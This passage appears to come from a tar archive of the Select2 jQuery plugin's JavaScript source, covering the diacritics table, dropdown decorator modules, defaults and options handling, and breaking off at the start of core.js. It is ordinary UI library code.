'\u2C6B': 'Z', '\uA762': 'Z', '\u24D0': 'a', '\uFF41': 'a', '\u1E9A': 'a', '\u00E0': 'a', '\u00E1': 'a', '\u00E2': 'a', '\u1EA7': 'a', '\u1EA5': 'a', '\u1EAB': 'a', '\u1EA9': 'a', '\u00E3': 'a', '\u0101': 'a', '\u0103': 'a', '\u1EB1': 'a', '\u1EAF': 'a', '\u1EB5': 'a', '\u1EB3': 'a', '\u0227': 'a', '\u01E1': 'a', '\u00E4': 'a', '\u01DF': 'a', '\u1EA3': 'a', '\u00E5': 'a', '\u01FB': 'a', '\u01CE': 'a', '\u0201': 'a', '\u0203': 'a', '\u1EA1': 'a', '\u1EAD': 'a', '\u1EB7': 'a', '\u1E01': 'a', '\u0105': 'a', '\u2C65': 'a', '\u0250': 'a', '\uA733': 'aa', '\u00E6': 'ae', '\u01FD': 'ae', '\u01E3': 'ae', '\uA735': 'ao', '\uA737': 'au', '\uA739': 'av', '\uA73B': 'av', '\uA73D': 'ay', '\u24D1': 'b', '\uFF42': 'b', '\u1E03': 'b', '\u1E05': 'b', '\u1E07': 'b', '\u0180': 'b', '\u0183': 'b', '\u0253': 'b', '\u24D2': 'c', '\uFF43': 'c', '\u0107': 'c', '\u0109': 'c', '\u010B': 'c', '\u010D': 'c', '\u00E7': 'c', '\u1E09': 'c', '\u0188': 'c', '\u023C': 'c', '\uA73F': 'c', '\u2184': 'c', '\u24D3': 'd', '\uFF44': 'd', '\u1E0B': 'd', '\u010F': 'd', '\u1E0D': 'd', '\u1E11': 'd', '\u1E13': 'd', '\u1E0F': 'd', '\u0111': 'd', '\u018C': 'd', '\u0256': 'd', '\u0257': 'd', '\uA77A': 'd', '\u01F3': 'dz', '\u01C6': 'dz', '\u24D4': 'e', '\uFF45': 'e', '\u00E8': 'e', '\u00E9': 'e', '\u00EA': 'e', '\u1EC1': 'e', '\u1EBF': 'e', '\u1EC5': 'e', '\u1EC3': 'e', '\u1EBD': 'e', '\u0113': 'e', '\u1E15': 'e', '\u1E17': 'e', '\u0115': 'e', '\u0117': 'e', '\u00EB': 'e', '\u1EBB': 'e', '\u011B': 'e', '\u0205': 'e', '\u0207': 'e', '\u1EB9': 'e', '\u1EC7': 'e', '\u0229': 'e', '\u1E1D': 'e', '\u0119': 'e', '\u1E19': 'e', '\u1E1B': 'e', '\u0247': 'e', '\u025B': 'e', '\u01DD': 'e', '\u24D5': 'f', '\uFF46': 'f', '\u1E1F': 'f', '\u0192': 'f', '\uA77C': 'f', '\u24D6': 'g', '\uFF47': 'g', '\u01F5': 'g', '\u011D': 'g', '\u1E21': 'g', '\u011F': 'g', '\u0121': 'g', '\u01E7': 'g', '\u0123': 'g', '\u01E5': 'g', '\u0260': 'g', '\uA7A1': 'g', '\u1D79': 'g', '\uA77F': 'g', '\u24D7': 'h', '\uFF48': 'h', '\u0125': 'h', '\u1E23': 'h', '\u1E27': 'h', '\u021F': 'h', '\u1E25': 'h', '\u1E29': 'h', '\u1E2B': 'h', '\u1E96': 'h', '\u0127': 'h', '\u2C68': 'h', '\u2C76': 'h', '\u0265': 'h', '\u0195': 'hv', '\u24D8': 'i', '\uFF49': 'i', '\u00EC': 'i', '\u00ED': 'i', '\u00EE': 'i', '\u0129': 'i', '\u012B': 'i', '\u012D': 'i', '\u00EF': 'i', '\u1E2F': 'i', '\u1EC9': 'i', '\u01D0': 'i', '\u0209': 'i', '\u020B': 'i', '\u1ECB': 'i', '\u012F': 'i', '\u1E2D': 'i', '\u0268': 'i', '\u0131': 'i', '\u24D9': 'j', '\uFF4A': 'j', '\u0135': 'j', '\u01F0': 'j', '\u0249': 'j', '\u24DA': 'k', '\uFF4B': 'k', '\u1E31': 'k', '\u01E9': 'k', '\u1E33': 'k', '\u0137': 'k', '\u1E35': 'k', '\u0199': 'k', '\u2C6A': 'k', '\uA741': 'k', '\uA743': 'k', '\uA745': 'k', '\uA7A3': 'k', '\u24DB': 'l', '\uFF4C': 'l', '\u0140': 'l', '\u013A': 'l', '\u013E': 'l', '\u1E37': 'l', '\u1E39': 'l', '\u013C': 'l', '\u1E3D': 'l', '\u1E3B': 'l', '\u017F': 'l', '\u0142': 'l', '\u019A': 'l', '\u026B': 'l', '\u2C61': 'l', '\uA749': 'l', '\uA781': 'l', '\uA747': 'l', '\u01C9': 'lj', '\u24DC': 'm', '\uFF4D': 'm', '\u1E3F': 'm', '\u1E41': 'm', '\u1E43': 'm', '\u0271': 'm', '\u026F': 'm', '\u24DD': 'n', '\uFF4E': 'n', '\u01F9': 'n', '\u0144': 'n', '\u00F1': 'n', '\u1E45': 'n', '\u0148': 'n', '\u1E47': 'n', '\u0146': 'n', '\u1E4B': 'n', '\u1E49': 'n', '\u019E': 'n', '\u0272': 'n', '\u0149': 'n', '\uA791': 'n', '\uA7A5': 'n', '\u01CC': 'nj', '\u24DE': 'o', '\uFF4F': 'o', '\u00F2': 'o', '\u00F3': 'o', '\u00F4': 'o', '\u1ED3': 'o', '\u1ED1': 'o', '\u1ED7': 'o', '\u1ED5': 'o', '\u00F5': 'o', '\u1E4D': 'o', '\u022D': 'o', '\u1E4F': 'o', '\u014D': 'o', '\u1E51': 'o', '\u1E53': 'o', '\u014F': 'o', '\u022F': 'o', '\u0231': 'o', '\u00F6': 'o', '\u022B': 'o', '\u1ECF': 'o', '\u0151': 'o', '\u01D2': 'o', '\u020D': 'o', '\u020F': 'o', '\u01A1': 'o', '\u1EDD': 'o', '\u1EDB': 'o', '\u1EE1': 'o', '\u1EDF': 'o', '\u1EE3': 'o', '\u1ECD': 'o', '\u1ED9': 'o', '\u01EB': 'o', '\u01ED': 'o', '\u00F8': 'o', '\u01FF': 'o', '\u0254': 'o', '\uA74B': 'o', '\uA74D': 'o', '\u0275': 'o', '\u01A3': 'oi', '\u0223': 'ou', '\uA74F': 'oo', '\u24DF': 'p', '\uFF50': 'p', '\u1E55': 'p', '\u1E57': 'p', '\u01A5': 'p', '\u1D7D': 'p', '\uA751': 'p', '\uA753': 'p', '\uA755': 'p', '\u24E0': 'q', '\uFF51': 'q', '\u024B': 'q', '\uA757': 'q', '\uA759': 'q', '\u24E1': 'r', '\uFF52': 'r', '\u0155': 'r', '\u1E59': 'r', '\u0159': 'r', '\u0211': 'r', '\u0213': 'r', '\u1E5B': 'r', '\u1E5D': 'r', '\u0157': 'r', '\u1E5F': 'r', '\u024D': 'r', '\u027D': 'r', '\uA75B': 'r', '\uA7A7': 'r', '\uA783': 'r', '\u24E2': 's', '\uFF53': 's', '\u00DF': 's', '\u015B': 's', '\u1E65': 's', '\u015D': 's', '\u1E61': 's', '\u0161': 's', '\u1E67': 's', '\u1E63': 's', '\u1E69': 's', '\u0219': 's', '\u015F': 's', '\u023F': 's', '\uA7A9': 's', '\uA785': 's', '\u1E9B': 's', '\u24E3': 't', '\uFF54': 't', '\u1E6B': 't', '\u1E97': 't', '\u0165': 't', '\u1E6D': 't', '\u021B': 't', '\u0163': 't', '\u1E71': 't', '\u1E6F': 't', '\u0167': 't', '\u01AD': 't', '\u0288': 't', '\u2C66': 't', '\uA787': 't', '\uA729': 'tz', '\u24E4': 'u', '\uFF55': 'u', '\u00F9': 'u', '\u00FA': 'u', '\u00FB': 'u', '\u0169': 'u', '\u1E79': 'u', '\u016B': 'u', '\u1E7B': 'u', '\u016D': 'u', '\u00FC': 'u', '\u01DC': 'u', '\u01D8': 'u', '\u01D6': 'u', '\u01DA': 'u', '\u1EE7': 'u', '\u016F': 'u', '\u0171': 'u', '\u01D4': 'u', '\u0215': 'u', '\u0217': 'u', '\u01B0': 'u', '\u1EEB': 'u', '\u1EE9': 'u', '\u1EEF': 'u', '\u1EED': 'u', '\u1EF1': 'u', '\u1EE5': 'u', '\u1E73': 'u', '\u0173': 'u', '\u1E77': 'u', '\u1E75': 'u', '\u0289': 'u', '\u24E5': 'v', '\uFF56': 'v', '\u1E7D': 'v', '\u1E7F': 'v', '\u028B': 'v', '\uA75F': 'v', '\u028C': 'v', '\uA761': 'vy', '\u24E6': 'w', '\uFF57': 'w', '\u1E81': 'w', '\u1E83': 'w', '\u0175': 'w', '\u1E87': 'w', '\u1E85': 'w', '\u1E98': 'w', '\u1E89': 'w', '\u2C73': 'w', '\u24E7': 'x', '\uFF58': 'x', '\u1E8B': 'x', '\u1E8D': 'x', '\u24E8': 'y', '\uFF59': 'y', '\u1EF3': 'y', '\u00FD': 'y', '\u0177': 'y', '\u1EF9': 'y', '\u0233': 'y', '\u1E8F': 'y', '\u00FF': 'y', '\u1EF7': 'y', '\u1E99': 'y', '\u1EF5': 'y', '\u01B4': 'y', '\u024F': 'y', '\u1EFF': 'y', '\u24E9': 'z', '\uFF5A': 'z', '\u017A': 'z', '\u1E91': 'z', '\u017C': 'z', '\u017E': 'z', '\u1E93': 'z', '\u1E95': 'z', '\u01B6': 'z', '\u0225': 'z', '\u0240': 'z', '\u2C6C': 'z', '\uA763': 'z', '\u0386': '\u0391', '\u0388': '\u0395', '\u0389': '\u0397', '\u038A': '\u0399', '\u03AA': '\u0399', '\u038C': '\u039F', '\u038E': '\u03A5', '\u03AB': '\u03A5', '\u038F': '\u03A9', '\u03AC': '\u03B1', '\u03AD': '\u03B5', '\u03AE': '\u03B7', '\u03AF': '\u03B9', '\u03CA': '\u03B9', '\u0390': '\u03B9', '\u03CC': '\u03BF', '\u03CD': '\u03C5', '\u03CB': '\u03C5', '\u03B0': '\u03C5', '\u03C9': '\u03C9', '\u03C2': '\u03C3' }; return diacritics; }); js/select2/dropdown/infiniteScroll.js000064400000004352151677313660013722 0ustar00define([ 'jquery' ], function ($) { function InfiniteScroll (decorated, $element, options, dataAdapter) { this.lastParams = {}; decorated.call(this, $element, options, dataAdapter); this.$loadingMore = this.createLoadingMore(); this.loading = false; } InfiniteScroll.prototype.append = function (decorated, data) { this.$loadingMore.remove(); this.loading = false; decorated.call(this, data); if (this.showLoadingMore(data)) { this.$results.append(this.$loadingMore); } }; InfiniteScroll.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('query', function (params) { self.lastParams = params; self.loading = true; }); container.on('query:append', function (params) { self.lastParams = params; self.loading = true; }); this.$results.on('scroll', function () { var isLoadMoreVisible = $.contains( document.documentElement, self.$loadingMore[0] ); if (self.loading || !isLoadMoreVisible) { return; } var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var loadingMoreOffset = self.$loadingMore.offset().top + self.$loadingMore.outerHeight(false); if (currentOffset + 50 >= loadingMoreOffset) { self.loadMore(); } }); }; InfiniteScroll.prototype.loadMore = function () { this.loading = true; var params = $.extend({}, {page: 1}, this.lastParams); params.page++; this.trigger('query:append', params); }; InfiniteScroll.prototype.showLoadingMore = function (_, data) { return data.pagination && data.pagination.more; }; InfiniteScroll.prototype.createLoadingMore = function () { var $option = $( '<li ' + 'class="select2-results__option select2-results__option--load-more"' + 'role="treeitem" aria-disabled="true"></li>' ); var message = this.options.get('translations').get('loadingMore'); $option.html(message(this.lastParams)); return $option; }; return InfiniteScroll; }); js/select2/dropdown/attachBody.js000064400000014336151677313660013023 0ustar00define([ 'jquery', '../utils' ], function ($, Utils) { function AttachBody (decorated, $element, options) { this.$dropdownParent = options.get('dropdownParent') || $(document.body); decorated.call(this, $element, options); } AttachBody.prototype.bind = function (decorated, container, $container) { var self = this; var setupResultsEvents = false; decorated.call(this, container, $container); container.on('open', function () { self._showDropdown(); self._attachPositioningHandler(container); if (!setupResultsEvents) { setupResultsEvents = true; container.on('results:all', function () { self._positionDropdown(); self._resizeDropdown(); }); container.on('results:append', function () { self._positionDropdown(); self._resizeDropdown(); }); } }); container.on('close', function () { self._hideDropdown(); self._detachPositioningHandler(container); }); this.$dropdownContainer.on('mousedown', function (evt) { evt.stopPropagation(); }); }; AttachBody.prototype.destroy = function (decorated) { decorated.call(this); this.$dropdownContainer.remove(); }; AttachBody.prototype.position = function (decorated, $dropdown, $container) { // Clone all of the container classes $dropdown.attr('class', $container.attr('class')); $dropdown.removeClass('select2'); $dropdown.addClass('select2-container--open'); $dropdown.css({ position: 'absolute', top: -999999 }); this.$container = $container; }; AttachBody.prototype.render = function (decorated) { var $container = $('<span></span>'); var $dropdown = decorated.call(this); $container.append($dropdown); this.$dropdownContainer = $container; return $container; }; AttachBody.prototype._hideDropdown = function (decorated) { this.$dropdownContainer.detach(); }; AttachBody.prototype._attachPositioningHandler = function (decorated, container) { var self = this; var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.each(function () { Utils.StoreData(this, 'select2-scroll-position', { x: $(this).scrollLeft(), y: $(this).scrollTop() }); }); $watchers.on(scrollEvent, function (ev) { var position = Utils.GetData(this, 'select2-scroll-position'); $(this).scrollTop(position.y); }); $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, function (e) { self._positionDropdown(); self._resizeDropdown(); }); }; AttachBody.prototype._detachPositioningHandler = function (decorated, container) { var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.off(scrollEvent); $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); }; AttachBody.prototype._positionDropdown = function () { var $window = $(window); var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); var newDirection = null; var offset = this.$container.offset(); offset.bottom = offset.top + this.$container.outerHeight(false); var container = { height: this.$container.outerHeight(false) }; container.top = offset.top; container.bottom = offset.top + container.height; var dropdown = { height: this.$dropdown.outerHeight(false) }; var viewport = { top: $window.scrollTop(), bottom: $window.scrollTop() + $window.height() }; var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); var css = { left: offset.left, top: container.bottom }; // Determine what the parent element is to use for calciulating the offset var $offsetParent = this.$dropdownParent; // For statically positoned elements, we need to get the element // that is determining the offset if ($offsetParent.css('position') === 'static') { $offsetParent = $offsetParent.offsetParent(); } var parentOffset = $offsetParent.offset(); css.top -= parentOffset.top; css.left -= parentOffset.left; if (!isCurrentlyAbove && !isCurrentlyBelow) { newDirection = 'below'; } if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { newDirection = 'above'; } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { newDirection = 'below'; } if (newDirection == 'above' || (isCurrentlyAbove && newDirection !== 'below')) { css.top = container.top - parentOffset.top - dropdown.height; } if (newDirection != null) { this.$dropdown .removeClass('select2-dropdown--below select2-dropdown--above') .addClass('select2-dropdown--' + newDirection); this.$container .removeClass('select2-container--below select2-container--above') .addClass('select2-container--' + newDirection); } this.$dropdownContainer.css(css); }; AttachBody.prototype._resizeDropdown = function () { var css = { width: this.$container.outerWidth(false) + 'px' }; if (this.options.get('dropdownAutoWidth')) { css.minWidth = css.width; css.position = 'relative'; css.width = 'auto'; } this.$dropdown.css(css); }; AttachBody.prototype._showDropdown = function (decorated) { this.$dropdownContainer.appendTo(this.$dropdownParent); this._positionDropdown(); this._resizeDropdown(); }; return AttachBody; }); js/select2/dropdown/hidePlaceholder.js000064400000001772151677313660014015 0ustar00define([ ], function () { function HidePlaceholder (decorated, $element, options, dataAdapter) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options, dataAdapter); } HidePlaceholder.prototype.append = function (decorated, data) { data.results = this.removePlaceholder(data.results); decorated.call(this, data); }; HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; HidePlaceholder.prototype.removePlaceholder = function (_, data) { var modifiedData = data.slice(0); for (var d = data.length - 1; d >= 0; d--) { var item = data[d]; if (this.placeholder.id === item.id) { modifiedData.splice(d, 1); } } return modifiedData; }; return HidePlaceholder; }); js/select2/dropdown/search.js000064400000005064151677313660012204 0ustar00define([ 'jquery', '../utils' ], function ($, Utils) { function Search () { } Search.prototype.render = function (decorated) { var $rendered = decorated.call(this); var $search = $( '<span class="select2-search select2-search--dropdown">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" />' + '</span>' ); this.$searchContainer = $search; this.$search = $search.find('input'); $rendered.prepend($search); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); this.$search.on('keydown', function (evt) { self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); }); // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$search.on('input', function (evt) { // Unbind the duplicated `keyup` event $(this).off('keyup'); }); this.$search.on('keyup input', function (evt) { self.handleSearch(evt); }); container.on('open', function () { self.$search.attr('tabindex', 0); self.$search.focus(); window.setTimeout(function () { self.$search.focus(); }, 0); }); container.on('close', function () { self.$search.attr('tabindex', -1); self.$search.val(''); self.$search.blur(); }); container.on('focus', function () { if (!container.isOpen()) { self.$search.focus(); } }); container.on('results:all', function (params) { if (params.query.term == null || params.query.term === '') { var showSearch = self.showSearch(params); if (showSearch) { self.$searchContainer.removeClass('select2-search--hide'); } else { self.$searchContainer.addClass('select2-search--hide'); } } }); }; Search.prototype.handleSearch = function (evt) { if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.showSearch = function (_, params) { return true; }; return Search; }); js/select2/dropdown/attachContainer.js000064400000000756151677313660014051 0ustar00define([ ], function () { function AttachContainer (decorated, $element, options) { decorated.call(this, $element, options); } AttachContainer.prototype.position = function (decorated, $dropdown, $container) { var $dropdownContainer = $container.find('.dropdown-wrapper'); $dropdownContainer.append($dropdown); $dropdown.addClass('select2-dropdown--below'); $container.addClass('select2-container--below'); }; return AttachContainer; }); js/select2/dropdown/selectOnClose.js000064400000002360151677313660013475 0ustar00define([ '../utils' ], function (Utils) { function SelectOnClose () { } SelectOnClose.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('close', function (params) { self._handleSelectOnClose(params); }); }; SelectOnClose.prototype._handleSelectOnClose = function (_, params) { if (params && params.originalSelect2Event != null) { var event = params.originalSelect2Event; // Don't select an item if the close event was triggered from a select or // unselect event if (event._type === 'select' || event._type === 'unselect') { return; } } var $highlightedResults = this.getHighlightedResults(); // Only select highlighted results if ($highlightedResults.length < 1) { return; } var data = Utils.GetData($highlightedResults[0], 'data'); // Don't re-select already selected resulte if ( (data.element != null && data.element.selected) || (data.element == null && data.selected) ) { return; } this.trigger('select', { data: data }); }; return SelectOnClose; }); js/select2/dropdown/minimumResultsForSearch.js000064400000001627151677313660015572 0ustar00define([ ], function () { function countResults (data) { var count = 0; for (var d = 0; d < data.length; d++) { var item = data[d]; if (item.children) { count += countResults(item.children); } else { count++; } } return count; } function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { this.minimumResultsForSearch = options.get('minimumResultsForSearch'); if (this.minimumResultsForSearch < 0) { this.minimumResultsForSearch = Infinity; } decorated.call(this, $element, options, dataAdapter); } MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { if (countResults(params.data.results) < this.minimumResultsForSearch) { return false; } return decorated.call(this, params); }; return MinimumResultsForSearch; }); js/select2/dropdown/stopPropagation.js000064400000001303151677313660014120 0ustar00define([ ], function () { function StopPropagation () { } StopPropagation.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); var stoppedEvents = [ 'blur', 'change', 'click', 'dblclick', 'focus', 'focusin', 'focusout', 'input', 'keydown', 'keyup', 'keypress', 'mousedown', 'mouseenter', 'mouseleave', 'mousemove', 'mouseover', 'mouseup', 'search', 'touchend', 'touchstart' ]; this.$dropdown.on(stoppedEvents.join(' '), function (evt) { evt.stopPropagation(); }); }; return StopPropagation; }); js/select2/dropdown/closeOnSelect.js000064400000001435151677313660013477 0ustar00define([ ], function () { function CloseOnSelect () { } CloseOnSelect.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('select', function (evt) { self._selectTriggered(evt); }); container.on('unselect', function (evt) { self._selectTriggered(evt); }); }; CloseOnSelect.prototype._selectTriggered = function (_, evt) { var originalEvent = evt.originalEvent; // Don't close if the control key is being held if (originalEvent && originalEvent.ctrlKey) { return; } this.trigger('close', { originalEvent: originalEvent, originalSelect2Event: evt }); }; return CloseOnSelect; }); js/select2/defaults.js000064400000025402151677313660010710 0ustar00define([ 'jquery', 'require', './results', './selection/single', './selection/multiple', './selection/placeholder', './selection/allowClear', './selection/search', './selection/eventRelay', './utils', './translation', './diacritics', './data/select', './data/array', './data/ajax', './data/tags', './data/tokenizer', './data/minimumInputLength', './data/maximumInputLength', './data/maximumSelectionLength', './dropdown', './dropdown/search', './dropdown/hidePlaceholder', './dropdown/infiniteScroll', './dropdown/attachBody', './dropdown/minimumResultsForSearch', './dropdown/selectOnClose', './dropdown/closeOnSelect', './i18n/en' ], function ($, require, ResultsList, SingleSelection, MultipleSelection, Placeholder, AllowClear, SelectionSearch, EventRelay, Utils, Translation, DIACRITICS, SelectData, ArrayData, AjaxData, Tags, Tokenizer, MinimumInputLength, MaximumInputLength, MaximumSelectionLength, Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, EnglishTranslation) { function Defaults () { this.reset(); } Defaults.prototype.apply = function (options) { options = $.extend(true, {}, this.defaults, options); if (options.dataAdapter == null) { if (options.ajax != null) { options.dataAdapter = AjaxData; } else if (options.data != null) { options.dataAdapter = ArrayData; } else { options.dataAdapter = SelectData; } if (options.minimumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MinimumInputLength ); } if (options.maximumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumInputLength ); } if (options.maximumSelectionLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumSelectionLength ); } if (options.tags) { options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); } if (options.tokenSeparators != null || options.tokenizer != null) { options.dataAdapter = Utils.Decorate( options.dataAdapter, Tokenizer ); } if (options.query != null) { var Query = require(options.amdBase + 'compat/query'); options.dataAdapter = Utils.Decorate( options.dataAdapter, Query ); } if (options.initSelection != null) { var InitSelection = require(options.amdBase + 'compat/initSelection'); options.dataAdapter = Utils.Decorate( options.dataAdapter, InitSelection ); } } if (options.resultsAdapter == null) { options.resultsAdapter = ResultsList; if (options.ajax != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, InfiniteScroll ); } if (options.placeholder != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, HidePlaceholder ); } if (options.selectOnClose) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, SelectOnClose ); } } if (options.dropdownAdapter == null) { if (options.multiple) { options.dropdownAdapter = Dropdown; } else { var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); options.dropdownAdapter = SearchableDropdown; } if (options.minimumResultsForSearch !== 0) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, MinimumResultsForSearch ); } if (options.closeOnSelect) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, CloseOnSelect ); } if ( options.dropdownCssClass != null || options.dropdownCss != null || options.adaptDropdownCssClass != null ) { var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, DropdownCSS ); } options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, AttachBody ); } if (options.selectionAdapter == null) { if (options.multiple) { options.selectionAdapter = MultipleSelection; } else { options.selectionAdapter = SingleSelection; } // Add the placeholder mixin if a placeholder was specified if (options.placeholder != null) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, Placeholder ); } if (options.allowClear) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, AllowClear ); } if (options.multiple) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, SelectionSearch ); } if ( options.containerCssClass != null || options.containerCss != null || options.adaptContainerCssClass != null ) { var ContainerCSS = require(options.amdBase + 'compat/containerCss'); options.selectionAdapter = Utils.Decorate( options.selectionAdapter, ContainerCSS ); } options.selectionAdapter = Utils.Decorate( options.selectionAdapter, EventRelay ); } if (typeof options.language === 'string') { // Check if the language is specified with a region if (options.language.indexOf('-') > 0) { // Extract the region information if it is included var languageParts = options.language.split('-'); var baseLanguage = languageParts[0]; options.language = [options.language, baseLanguage]; } else { options.language = [options.language]; } } if ($.isArray(options.language)) { var languages = new Translation(); options.language.push('en'); var languageNames = options.language; for (var l = 0; l < languageNames.length; l++) { var name = languageNames[l]; var language = {}; try { // Try to load it with the original name language = Translation.loadPath(name); } catch (e) { try { // If we couldn't load it, check if it wasn't the full path name = this.defaults.amdLanguageBase + name; language = Translation.loadPath(name); } catch (ex) { // The translation could not be loaded at all. Sometimes this is // because of a configuration problem, other times this can be // because of how Select2 helps load all possible translation files. if (options.debug && window.console && console.warn) { console.warn( 'Select2: The language file for "' + name + '" could not be ' + 'automatically loaded. A fallback will be used instead.' ); } continue; } } languages.extend(language); } options.translations = languages; } else { var baseTranslation = Translation.loadPath( this.defaults.amdLanguageBase + 'en' ); var customTranslation = new Translation(options.language); customTranslation.extend(baseTranslation); options.translations = customTranslation; } return options; }; Defaults.prototype.reset = function () { function stripDiacritics (text) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } return text.replace(/[^\u0000-\u007E]/g, match); } function matcher (params, data) { // Always return the object if there is nothing to compare if ($.trim(params.term) === '') { return data; } // Do a recursive check for options with children if (data.children && data.children.length > 0) { // Clone the data object if there are children // This is required as we modify the object to remove any non-matches var match = $.extend(true, {}, data); // Check each child of the option for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; var matches = matcher(params, child); // If there wasn't a match, remove the object in the array if (matches == null) { match.children.splice(c, 1); } } // If any children matched, return the new object if (match.children.length > 0) { return match; } // If there were no matching children, check just the plain object return matcher(params, match); } var original = stripDiacritics(data.text).toUpperCase(); var term = stripDiacritics(params.term).toUpperCase(); // Check if the text contains the term if (original.indexOf(term) > -1) { return data; } // If it doesn't contain the term, don't return anything return null; } this.defaults = { amdBase: './', amdLanguageBase: './i18n/', closeOnSelect: true, debug: false, dropdownAutoWidth: false, escapeMarkup: Utils.escapeMarkup, language: EnglishTranslation, matcher: matcher, minimumInputLength: 0, maximumInputLength: 0, maximumSelectionLength: 0, minimumResultsForSearch: 0, selectOnClose: false, sorter: function (data) { return data; }, templateResult: function (result) { return result.text; }, templateSelection: function (selection) { return selection.text; }, theme: 'default', width: 'resolve' }; }; Defaults.prototype.set = function (key, value) { var camelKey = $.camelCase(key); var data = {}; data[camelKey] = value; var convertedData = Utils._convertData(data); $.extend(true, this.defaults, convertedData); }; var defaults = new Defaults(); return defaults; }); js/select2/options.js000064400000006670151677313660010602 0ustar00define([ 'require', 'jquery', './defaults', './utils' ], function (require, $, Defaults, Utils) { function Options (options, $element) { this.options = options; if ($element != null) { this.fromElement($element); } this.options = Defaults.apply(this.options); if ($element && $element.is('input')) { var InputCompat = require(this.get('amdBase') + 'compat/inputData'); this.options.dataAdapter = Utils.Decorate( this.options.dataAdapter, InputCompat ); } } Options.prototype.fromElement = function ($e) { var excludedData = ['select2']; if (this.options.multiple == null) { this.options.multiple = $e.prop('multiple'); } if (this.options.disabled == null) { this.options.disabled = $e.prop('disabled'); } if (this.options.language == null) { if ($e.prop('lang')) { this.options.language = $e.prop('lang').toLowerCase(); } else if ($e.closest('[lang]').prop('lang')) { this.options.language = $e.closest('[lang]').prop('lang'); } } if (this.options.dir == null) { if ($e.prop('dir')) { this.options.dir = $e.prop('dir'); } else if ($e.closest('[dir]').prop('dir')) { this.options.dir = $e.closest('[dir]').prop('dir'); } else { this.options.dir = 'ltr'; } } $e.prop('disabled', this.options.disabled); $e.prop('multiple', this.options.multiple); if (Utils.GetData($e[0], 'select2Tags')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-select2-tags` attribute has been changed to ' + 'use the `data-data` and `data-tags="true"` attributes and will be ' + 'removed in future versions of Select2.' ); } Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags')); Utils.StoreData($e[0], 'tags', true); } if (Utils.GetData($e[0], 'ajaxUrl')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-ajax-url` attribute has been changed to ' + '`data-ajax--url` and support for the old attribute will be removed' + ' in future versions of Select2.' ); } $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl')); Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl')); } var dataset = {}; // Prefer the element's `dataset` attribute if it exists // jQuery 1.x does not correctly handle data attributes with multiple dashes if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { dataset = $.extend(true, {}, $e[0].dataset, Utils.GetData($e[0])); } else { dataset = Utils.GetData($e[0]); } var data = $.extend(true, {}, dataset); data = Utils._convertData(data); for (var key in data) { if ($.inArray(key, excludedData) > -1) { continue; } if ($.isPlainObject(this.options[key])) { $.extend(this.options[key], data[key]); } else { this.options[key] = data[key]; } } return this; }; Options.prototype.get = function (key) { return this.options[key]; }; Options.prototype.set = function (key, val) { this.options[key] = val; }; return Options; }); js/select2/core.js000064400000037636151677313660010045 0ustar00define([ 'jquery', './options', './utils', './keys' ], function ($, Options, Utils, KEYS) { var Select2 = function ($element, options) { if 